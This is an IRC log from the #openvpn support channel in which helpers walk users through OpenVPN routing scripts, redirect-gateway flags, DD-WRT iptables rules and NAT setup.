04:50 -!- IT [~userit@86.120.191.55] has quit [Quit: Nettalk6 - www.ntalk.de]
04:54 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
04:55 -!- Assid|2 [~assid@122.170.9.45] has joined #openvpn
04:56 < holmen> I've tried that now and the icmp-packets are sent as it should. The ping goes from ETH#2 to ETH#2.
04:56 -!- Assid [~assid@unaffiliated/assid] has quit [Ping timeout: 246 seconds]
04:58 <+pekster> holmen: Okay. The other thing I see now that I double-check the netstat output post-VPN-connect is that the host-route to the VPN endpoint is automatically set to use your existing default gateway, which is via eth0
04:59 <+pekster> holmen: What you probably need to do is use the 'local' flag to the redirect-gateway directive, and handle the host-route yourself via a --route-up script
04:59 <+pekster> That's necessary because you specifically DON'T want the VPN endpoint to be reachable via eth0's IP/interface
05:00 <+pekster> You probably need to use the env-vars the scripts mamke available to you in order to dynamically determine your remote peer's public IP
05:00 <+pekster> (since you have multiple remote lines)
05:01 <+pekster> 'ip route add $whatever_that_var_is/32 via $pub_ip_of_eth2'
05:01 < holmen> Ok, now comes the noob question. Where can i find the necessary manuals on this? I dont want to hammer you with all my questions :)
05:01 <+pekster> The manpage?
05:01 <+pekster> !man
05:01 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
05:01 <+pekster> On Linux, you should have 'man openvpn' available
05:01 < Assid|2> setting up another box now
05:02 <+pekster> Yea, I missed that route at the beginning of your output. FYI, 'ip route' is a much cleaner way to show routes; netstat or route are kind of outdated tools :P
05:02 < holmen> Thanks in advance, i'll read up on this and probably get back in the morning. Thank you for all the help
05:04 <+pekster> Yea, np. It's a subtle problem with the way --redirect-gateway expects your network to be
05:04 <+pekster> The only bad news is that you mostly need to fix it yourself :P
05:05 <+pekster> On the plus side, it should be a one-line fix in --route-up and --down (since you probably want to remove the route on disconnect)
05:06 <+pekster> 'man ip' and 'ip route help' are also good places to look for info using the ip command
05:06 <+pekster> btw, you win my 'most interesting problem of the month' award that I just made up
05:09 < holmen> haha thank you :)
05:09 <+pekster> I enjoy subtle problems like that; it keeps me on my guard from assuming too much for my own good
05:09 < holmen> THe down side is that im quite the noob on openvpn and probably will fail on this but trail and error is key :)
05:11 <+pekster> Well, the only ovpn-changes I think you need are using the 'local' flag to --redirect-gateway, and 2 scripts at --route-up and --down. The route-up script needs to add the route as I explained above to your VPN endpoint (there's a variable for that, see the 'SCRIPTING AND ENVIORNMENTAL VARIABLES' manpage section) while the down script needs to remove it on VPN disconnect
05:11 <+pekster> So, 3 changes to the ovpn config, and 2 scripts that you can probably do with a single line of code
05:12 <+pekster> holmen: I think the var you want is $trusted_ip
05:12 <+pekster> FYI
05:12 <+pekster> (available in both --route-up and --down)
05:13 <+pekster> Try something along the lines of '/sbin/ip route add $trusted_ip/32 via $YOUR_ETH1_IP_HERE'
05:14 <+pekster> In the upscript, and the reverse (ip route del ...) in --down
05:21 -!- Assid|2 [~assid@122.170.9.45] has quit [Read error: Connection reset by peer]
05:21 -!- daemon [staff@hashweb.org] has quit [Read error: Connection reset by peer]
05:21 -!- daemon [staff@hashweb.org] has joined #openvpn
05:21 -!- nullsign [~nullsign@daedalus.genom.com] has quit [Read error: Operation timed out]
05:21 -!- daemon is now known as Guest47187
05:21 -!- batrick [~batrick@nmap/developer/batrick] has quit [Read error: Operation timed out]
05:21 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
05:22 -!- Devastator [~devas@186.214.14.9] has joined #openvpn
05:22 -!- nullsign [~nullsign@daedalus.genom.com] has joined #openvpn
05:24 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
05:30 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Ping timeout: 276 seconds]
05:40 < holmen> pekster: one quick question. How should i use the --redirect-gateway. You mention that i should use the "local" flag. So "--redirect-gateway local" or "--redirect-gateway <eth1 ext ip>" ?
05:40 <+pekster> Yea, 'local' is a literal flag. You're already using the 'def1' flag (notice your 2 /1 route overrides on your default gateway)
05:40 <+pekster> Manpage has details on the usage of each flag
05:43 < holmen> gonna change ssh connection and try it out.
05:43 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has quit [Quit: leaving]
05:45 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has joined #openvpn
05:56 < holmen> pekster: hmm, 1 error when trying to execute the up script manually
05:56 < holmen> holmen@filserver:~$ sh openvpn/up
05:56 < holmen> Error: an inet prefix is expected rather than "/32".
06:01 < holmen> entry in "up": /sbin/ip route add $trusted_ip/32 via 5.150.223.121
06:01 < holmen> and file set to be executable
06:07 < holmen> While starting the tunnel i get this log message:
06:07 < holmen> Mon Jan 14 13:06:08 2013 ROUTE default_gateway=192.168.1.1
06:07 < holmen> thing that is my problem?
06:12 < holmen> while tunnel active:
06:12 < holmen> holmen@filserver:~$ ip route show
06:12 < holmen> 0.0.0.0/1 via 46.246.23.129 dev tap0
06:12 < holmen> default via 192.168.1.1 dev eth0  metric 100
06:12 < holmen> x.x.x.x/17 dev eth1  proto kernel  scope link  src x.x.x.x
06:12 < holmen> 46.246.23.128/25 dev tap0  proto kernel  scope link  src 46.246.23.180
06:12 < holmen> 80.67.8.203 via x.x.x.x dev eth1
06:12 < holmen> 80.67.8.211 via x.x.x.x dev eth1
06:12 < holmen> 128.0.0.0/1 via 46.246.23.129 dev tap0
06:12 < holmen> 192.168.1.0/24 dev eth0  proto kernel scope link src 192.168.1.2
06:13 < holmen> Mon Jan 14 13:12:32 2013 WARNING: Failed running command (--up/--down): could not execute external program
06:15 < holmen> I fixed the up/down scripts by removing the "/32" but it still wont execute it whilst starting openvpn
06:17 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
06:18 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
06:25 -!- Guest47187 [staff@hashweb.org] has left #openvpn []
06:30 -!- thinkHell [~Hell@ks399220.kimsufi.com] has quit [Quit: ["pop()"]]
06:30 < holmen> pekster: I see now what may be my problem, in "ip route show all" the eth1 routing is as following:
06:31 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 240 seconds]
06:31 < holmen> x.x.128.0/17 dev eth1  proto kernel  scope link  src x.x.223.x
06:31 < holmen> notice the changes in subnet..
06:32 < holmen> then my extra roiuting table "openvpn" looks like this:
06:33 < holmen> holmen@filserver:~$ ip route show table openvpn
06:33 < holmen> default via x.x.223.x dev eth1
06:33 < holmen> x.x.223.x dev eth1  scope link  src x.x.223.x
06:34 < holmen> but the odd thing is that i can connect to the internet via eth1 on the 223 subnet. :S
06:44 <+pekster> holmen: The redirect-gateway OpenVPN directive will only operate on your main table, IIRC
06:44 <+pekster> With policy routing you'll likely need to handle adjustments to other tables via the --route-up and --down scripts, or use --route-noexec (see the manpage for details) and then you are expected to manage all route changes that are passed to you as env-vars instead of having OpenVPN automatically manage them
06:46 < holmen> holy crap. I think this issue just got past my skill level :/
06:48 <+pekster> Policy routing and split-route setups are complex enough with just the 2 interfaces, but now you're trying to stack redirection of both across a VPN link too ;)
06:50 < holmen> Hmm i dont know if i misenterpret you know but i only want one interface to go into the tunnel .
06:50 <+pekster> Oh, in that case then the changes I noted earlier to keep the VPN-host-exception routed via NIC#2's public IP should do the trick
06:51 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has joined #openvpn
06:51 <+pekster> You don't need to worry about your 2nd table controlling the NIC#2 traffic beyond adding a host-route (the /32 thing) out via NIC#2's public IP
06:51 < holmen> Ok but when setting up the tunnel i get the log message of Defaulkt gateway being the NIC#1 gateway
06:52 <+pekster> RIght, but if you use the 'local' option, then you can override the implied error resutling from that setup
06:52 <+pekster> See, without the 'local' flag, OpenVPN will add a route to your external IP of the VPN server so it is *not* routed across the VPN (you need this because you can't route your encrypted VPN packets over the VPN: see the problem with that?)
06:53 <+pekster> So, once you understand why that needs to be added, you can pass the 'local' flag to not do that automatically (which uses your exsiting default gateway on NIC#1) and instead manage that same feature yourself by sending traffic to the VPN host out NIC#2
06:53 <+pekster> Hence the 'ip route add $trusted_ip/32 via $public_ip_on_nic2' line
06:54 <+pekster> You need that on the routing table responsible for traffic generated by NIC#2 where your openvpn instance is running
06:54 <+pekster> After that, the magic of --redirect-gateway will override your default route on NIC#1 by adding the 2 routes with the /1 mask (128.0.0.0) that define the entire Internet. This sends them via your VPN peer IP over the tun device
06:56 <+pekster> So, with the --route-up and --down script, I think you'll be set, but only if the gateway you wish to override is on your main routing tnable (not a sub-table you're sending stuff to with a custom 'ip rule' setup.) Is that the case, or is your configuration more complex?
06:56 < holmen> Ok. Its a lot to take in but i get the jist of it i think. Can io PM you my setup files and program execution lines for further knowledge?
06:57 <+pekster> Sure, although I'll try to keep discsussion here if you don't mind (if you don't want your private configs posted here feel free to PM them) but others might benefit from the overall discussion, or even see something I miss
06:57 < holmen> Ofc
06:58 <+pekster> At the very least, I can see what you have now to make sure I get what you have and what's configured; it'd be helpful in addition to client ovpn config files to get the scripts, plus the output of 'ip route show table all'
06:58 <+pekster> 'ip addr show' would be useful too so I know what I'm actually looking at :P
06:59 <+pekster> I'll be around, so if I don't respond right away I'm probably just in another window for a bit
07:09 -!- brute11k [~brute11k@89.249.230.77] has quit [Ping timeout: 272 seconds]
07:17 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Ping timeout: 272 seconds]
07:19 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has quit [Ping timeout: 272 seconds]
07:23 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has joined #openvpn
07:46 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
07:46 < AsadH> novaflash !
07:46 < novaflash> mm?
07:46 < AsadH> I found you
07:46 < AsadH> That's all
07:47 < novaflash> mm.
07:47 -!- centurio [~opera@anon-185-82.vpn.ipredator.se] has joined #openvpn
07:47 < centurio> hello
07:48 < centurio> May I ask for help about iptables?
07:48 <+pekster> centurio: As it relates to OpenVPN, go for it; depending on your question it's possible #netfilter may be a better place to ask, but you're welcome to try here first
07:51 < centurio> thanks
07:51 < centurio> I'm running openvpn client on a dd-wrt router
07:52 < centurio> I have modified the iptables contrary of what my vpn provider told me
07:53 < centurio> the problem was that the dns requests were not passed through the clients on my network
07:53 < centurio> only my isp dns servers, which don't work once the tunnel is up
07:54 < centurio> dnsmasq is set tu use public servers
07:54 < centurio> http://www.pastebay.com/1174089
07:54 < centurio> I pasted my previous config and my new config
07:54 < centurio> the new config works, I do not have to set static dns on every client of my network
07:55 < centurio> but I'm not sure the new config is secure
07:55 < centurio> I use it together with --up
07:55 <+pekster> You can remove line 20 as it's worthless
07:56 < centurio> ok
07:57 <+pekster> Otherwise sure; the only forwarded traffic from tun0 to br0 will be stuff bound for your private clients, otherwise it'll end up on INPUT. You should really only accept --state RELATED,ESTABLISHED traffic there instead
07:57 <+pekster> Then you don't need to switch rulesets when you start/stop the VPN
07:57 <+pekster> Just use the 2nd one and you'll be set
07:59 <+pekster> No idea why you're using -I all over the place either; if you call those scripts over and over you'll just keep inserting more and more rules into your kernel; you should really use iptables-restore for that, and pass it a file you create with iptables-save (unless you really need rules to be dynamically managed)
08:01 < centurio> I was advised to do so
08:01 < centurio> alternatively, I can create a down script removing all the rules
08:02 < centurio> should I replace -I by -A?
08:03 <+pekster> I don't really have a clue how your setup is. If that's your only VPN (and will thus always been tun0) you can just leave your ruleset in place persistently and not worry about overriding the existing chains when the VPN comes up
08:04 < centurio> yes, it's my only vpn
08:04 <+pekster> With OpenWRT you should be hooking into the existing chains (they have special user chains for stuff like this you're supposed to be using.) I don't know what they are offhand because my OpenWRT setup has a firewall I wrote from scratch, so it's nothing like a standard setup
08:04 <+pekster> They have something named 'user_forward' and 'user_input' or something to that effect
08:05 <+pekster> (personally, I think the OpenWRT default is really messy and ugly and hard to follow, but it's all magically supported by LuCI, so it stays that way)
08:05 < centurio> lot's of people advised me to go OpenWRT
08:05 <+pekster> If you can post your OpenWRT ruleset via 'iptables-save' to a pastebin site (after a reboot or something would be good so all your rule inserts don't pollute the output) I might be able to suggest a solution
08:06 <+pekster> centurio: Yes, the distro is fine. Managing custom iptables rules with a VPN is non-trivial to set up, however. I can likely give you a suggestion if I get a defult ruleset that you can add to /etc/firewall.user
08:06 <+pekster> The OpenWRT firewall is "not simple"
08:09 < centurio> hmm I can't get iptables to show me the current rules
08:11 -!- brute11k [~brute11k@89.249.235.236] has joined #openvpn
08:12 <+pekster> Don't use iptables; it's a bad way to dump rules
08:12 <+pekster> 'iptables-save' is what you should be using
08:13 < centurio> iptables-save :not found
08:16 < centurio> looks like I can't do this on dd-wrt
08:18 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
08:18 < centurio> so I uploaded a new version
08:18 < centurio> http://www.pastebay.com/1174104
08:20 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has quit [Ping timeout: 272 seconds]
08:21 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Quit: Nettalk6 - www.ntalk.de]
08:22 <+pekster> centurio: Well, you can pastebin 'iptables -nvL' and 'iptables -t nat -nvL' and 'iptables -t mangle -nvL' as wel
08:23 <+pekster> Stupid dd-wrt devs not making that a default feature
08:26 < centurio> iptables -nvL: http://www.pastebay.com/1174110
08:27 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has joined #openvpn
08:28 < centurio> 'iptables -t nat -nvL: http://www.pastebay.com/1174111
08:29 <+pekster> centurio: Okay, as the #dd-wrt folks how to add these rules to your firewall on-boot: https://pastee.org/5cbwp
08:29 < centurio> iptables -t mangle -nvL: http://www.pastebay.com/1174112
08:30 -!- ade_b [~Ade@109.58.51.110.bredband.tre.se] has joined #openvpn
08:30 -!- ade_b [~Ade@109.58.51.110.bredband.tre.se] has quit [Changing host]
08:30 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:30 <+pekster> You'll the need to figure out how to route them via that link
08:30 <+pekster> No clue if you're already using a 'redirect-gateway' setup, but if not you'll need to write some routing rules to do that in addition to the firewall config
08:32 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
08:37 < centurio> ok
08:37 < centurio> thanks for the help
08:37 <+pekster> Yup. All that -I crap kept inserting new rules in your firewall, so you probably want to reboot if you don't know how to reload your firewall to its proper setup
08:38 < centurio> these rules you pasted are in addition of what I also pasted here: http://www.pastebay.com/1174104
08:38 <+pekster> No
08:38 <+pekster> In place of that
08:38 < centurio> cool
08:38 < centurio> much more neat
08:38 <+pekster> Don't run stuff like that each time you connect to the VPN; it's really bad for your ruleset
08:39 <+pekster> Dynamic managing of your ruleset on-event like requires advanced scripting and knowledge of the netfilter (aka "iptables") sytem
08:39 < centurio> that is out of my league
08:39 <+pekster> So: don't do it! (unless you really know what you're doing.) Whoever gave you that script had no clue what they were doing
08:39 < centurio> nice
08:40 <+pekster> Just use the crap I gave you for your firewall; as the dd-wrt folks how to apply it when your ruleset starts up
08:40 <+pekster> That's not routing mind you, just thte firewall to permit access how you need
08:41 < centurio> ok
08:41 < centurio> thanks for the advice
08:41 < centurio> I'll let you know how it turns out
08:48 -!- centurio [~opera@anon-185-82.vpn.ipredator.se] has quit [Ping timeout: 256 seconds]
08:59 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
09:02 -!- Orbital [~opera@anon-184-93.vpn.ipredator.se] has joined #openvpn
09:03 -!- Orbital is now known as Guest97591
09:05 -!- Guest97591 [~opera@anon-184-93.vpn.ipredator.se] has left #openvpn []
09:06 -!- Guest97591 [~opera@anon-184-93.vpn.ipredator.se] has joined #openvpn
09:15 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
09:21 -!- Azrael808 [~peter@212.161.9.162] has quit [Quit: Ex-Chat]
09:21 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:22 -!- ade_b [~Ade@109.58.51.110.bredband.tre.se] has joined #openvpn
09:22 -!- ade_b [~Ade@109.58.51.110.bredband.tre.se] has quit [Changing host]
09:22 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:25 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
09:33 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
09:37 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has quit [Ping timeout: 264 seconds]
09:40 -!- Guest97591 [~opera@anon-184-93.vpn.ipredator.se] has quit [Ping timeout: 252 seconds]
09:41 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
09:44 -!- Azrael808 [~peter@212.161.9.162] has quit [Client Quit]
09:45 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has joined #openvpn
10:06 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
10:08 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:11 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
10:11 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has quit [Ping timeout: 272 seconds]
10:11 -!- Alanonzander [~azander@209.124.51.200] has joined #openvpn
10:12 < Alanonzander> !welcome
10:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
10:12 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:12 < Alanonzander> !redirect
10:12 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:12 <@vpnHelper> http://ircpimps.org/redirect.png
10:13 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has joined #openvpn
10:17 < Alanonzander> I need assistance getting an internal OpenVPN client to send _some_ of it's output via the openVPN server.  What I need is some examples to help me understand what I need to do.  I have looked at the redirect from the bot, and it only helps to confuse me.
10:17 -!- Orbi [~opera@anon-149-38.vpn.ipredator.se] has joined #openvpn
10:17 <@ecrist> !goal
10:17 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:17 <@ecrist> we need more specific information of what you mean by _some_
10:18 < Orbi> @pekster
10:18 < Alanonzander> I need to proxy a SFTP and a Soap/WSDL connection through the VPN.
10:18 < Alanonzander> both are outgoing from the client.
10:18 <@ecrist> are those connections made to a specific IP?
10:18 < Alanonzander> yes
10:18 <@ecrist> is that IP on the VPN, or somewhere else?
10:19 < Alanonzander> elsewhere
10:19 <@ecrist> so, you need to first setup a VPN (don't worry about sending traffic to/from anywhere yet)
10:19 <@ecrist> start there, let me know when that's done
10:19 < Alanonzander> I ahve done that
10:20 <@ecrist> !configs
10:20 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:20 < Alanonzander> The VPN works for client-to-client connections now.
10:21 <@ecrist> ok, so you need to add that special IP to your server config in a push "route..." line
10:21 <@ecrist> and configure the vpn server to nat traffic going out to that IP properly
10:22 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has quit [Ping timeout: 252 seconds]
10:22 -!- master_of_master [~master_of@p57B521B9.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
10:22 < Alanonzander> Examples?
10:22 <@ecrist> !man
10:22 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
10:23 <+pekster> Orbi: you asked about redirection: see this for info:
10:23 <+pekster> !redirect
10:23 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:23 <@vpnHelper> http://ircpimps.org/redirect.png
10:24 -!- master_of_master [~master_of@p57B54C0D.dip.t-dialin.net] has joined #openvpn
10:24 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has joined #openvpn
10:25 < Alanonzander> ecrist, everything you have pointed me to only serves to confuse me more.
10:26 < Alanonzander> please assume I know NOTHING about networking
10:26 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
10:29 -!- Porkepix [~Porkepix@88-190-200-7.rev.dedibox.fr] has quit [Ping timeout: 252 seconds]
10:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:35 <@ecrist> Alanonzander: we're not here to teach you networking
10:35 <@ecrist> !101
10:35 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
10:36 -!- AsadH is now known as zz_AsadH
10:36 < |Mike|> nice one
10:37 < Alanonzander> Not asking for that, asking for EXAMPLES.  So much for this being a place to get help.
10:37 -!- Alanonzander [~azander@209.124.51.200] has quit [Quit: Leaving]
10:37 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
10:37 -!- mode/#openvpn [+b *!*@209.124.51.200] by ecrist
10:38 < Rienzilla> lol
10:39 < gladiatr> oo... shiny
10:41 < Orbi> !def1
10:41 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
10:41 <+pekster> Orbi: Ask questions in the channel, since I'm not your personal paid support
10:42 <+pekster> That said, the client can add 'redirect-gateway' values to its own config; the client LAN won't be visible to the server or any networks behind it, so you'd need NAT to support local systems behind a VPN peer acting as a client
10:43 < Orbi> !ipforward
10:43 <@vpnHelper> "ipforward" is please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
10:43 -!- swat [~swat@ubuntu/member/swat] has quit [Quit: Leaving.]
10:43 < Orbi> !linipforward
10:43 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
10:43 <@ecrist> !factoids
10:43 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
10:46 <+pekster> Orbi: Really? Come on, no more PMs for conversation that obviously belongs in the channel. Last warning before I stop caring about your questions completely. Did you read the flowchart you were linked via the !redirect bot message? That's all stuff you do client side, not server-side
10:47 <+pekster> You can push it from the server, but you're not required to. See the 2nd flowchart box specifically
10:49 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:49 < Orbi> @pekster got it
10:49 < Orbi> !man
10:49 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
10:50 < Orbi> !nat
10:50 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
10:50 < Orbi> !linnat
10:50 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
10:50 <+pekster> All the flowcharts the bot has were written in such a way that they cover each step you need to take, in order, to accomplish your task
10:51 <+pekster> You probably have your NAT worked out with the -j MASQUERADE for traffic goign out your tun interface in your netfilter/iptables rules. But you shouldn't worry about that if you're trying to redirect the gateway, since you need *that* working before you can worry about NAT. Just follow the flowchart, and don't skip steps
10:52 -!- dazo is now known as dazo_afk
10:53 -!- b1rkh0ff [~b1rkh0ff@178.77.6.46] has quit [Read error: Connection reset by peer]
10:56 -!- Orbi [~opera@anon-149-38.vpn.ipredator.se] has quit [Ping timeout: 256 seconds]
10:57 -!- Orbi [~opera@56.52-65-87.adsl-dyn.isp.belgacom.be] has joined #openvpn
11:02 -!- Orbi [~opera@56.52-65-87.adsl-dyn.isp.belgacom.be] has quit [Ping timeout: 272 seconds]
11:03 -!- Orbi [~opera@anon-184-31.vpn.ipredator.se] has joined #openvpn
11:03 -!- raidz_away is now known as raidz
11:04 < Orbi> I enabled redirect-gateway def1
11:04 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 252 seconds]
11:04 -!- pelle2_ is now known as pelle2
11:04 < Orbi> I went through all the steps
11:05 < Orbi> !ipforward
11:05 <@vpnHelper> "ipforward" is please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
11:05 < Orbi> !linipforward
11:05 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
11:07 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:08 < Orbi> probably a dumb question, but just to be sure: I followed the flowchart all the way to "It Works!"
11:08 < Orbi> does that mean that IP forward is enabled?
11:09 <+pekster> Yes; routers don't work unless they are forwarding IP packets
11:09 < Orbi> so I don't need this rule: iptables -I FORWARD -i tun+ -j ACCEPT
11:10 <+pekster> Maybe not; the preferred way to accept traffic from potentially unkonwn sources is to use stateful firewall rules
11:11 <+pekster> -i $some_external_facing_interface --state ESTABLISHED,RELATED -j ACCEPT
11:11 <+pekster> or such
11:11 < Orbi> Everything works without that rule, so better to leave it so
11:11 <+pekster> You might benefit from some basic tcp/ip reading:
11:11 <+pekster> !tcpip
11:11 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
11:12 < Orbi> yes, I certainly could
11:12 <+pekster> Higher level features like VPN operation is going to be very hard if you don't have a good handle on the basics
11:12 < Orbi> thanks for the tip and your helpful support. I'm going to read that.
11:15 < Orbi> is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf still active?
11:16 < Orbi> nevermind, opera does not want to open it.
11:17 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
11:26 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 255 seconds]
11:29 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
11:32 < Orbi> I'm confused, should I use: iptables -t filter -A lan2wan -i br0 -o tun0 -j ACCEPT or
11:32 < Orbi> iptables filter -A lan2wan -i br0 -o tun0 -j ACCEPT ?
11:34 <+pekster> -t filter, or leave it off because filter is the default table
11:34 <+pekster> See the iptables manpage for usage details
11:35 < Orbi> yes, I was reading that, that's why I was asking :)
11:40 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:40 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:40 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:40 -!- Orbi [~opera@anon-184-31.vpn.ipredator.se] has quit [Ping timeout: 264 seconds]
11:41 -!- Orbi [~opera@anon-149-224.vpn.ipredator.se] has joined #openvpn
11:45 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
11:46 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:46 -!- Orbi [~opera@anon-149-224.vpn.ipredator.se] has quit [Ping timeout: 252 seconds]
11:47 -!- Lord-M [~LordM@ip-80-113-202-148.ip.prioritytelecom.net] has joined #openvpn
11:47 < Lord-M> Anybody around who can help me with an issue I'm having after upgrading from OpenVPN 2.2.2 to 2.3.0 (on Windows)?
11:48 -!- Orbi [~opera@109.129.27.94] has joined #openvpn
11:50 <+pekster> Lord-M: What specifically are you having problems with after the upgrade? Is everything else (config files, any scripts, ccd setup, etc all the same too?)
11:50 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
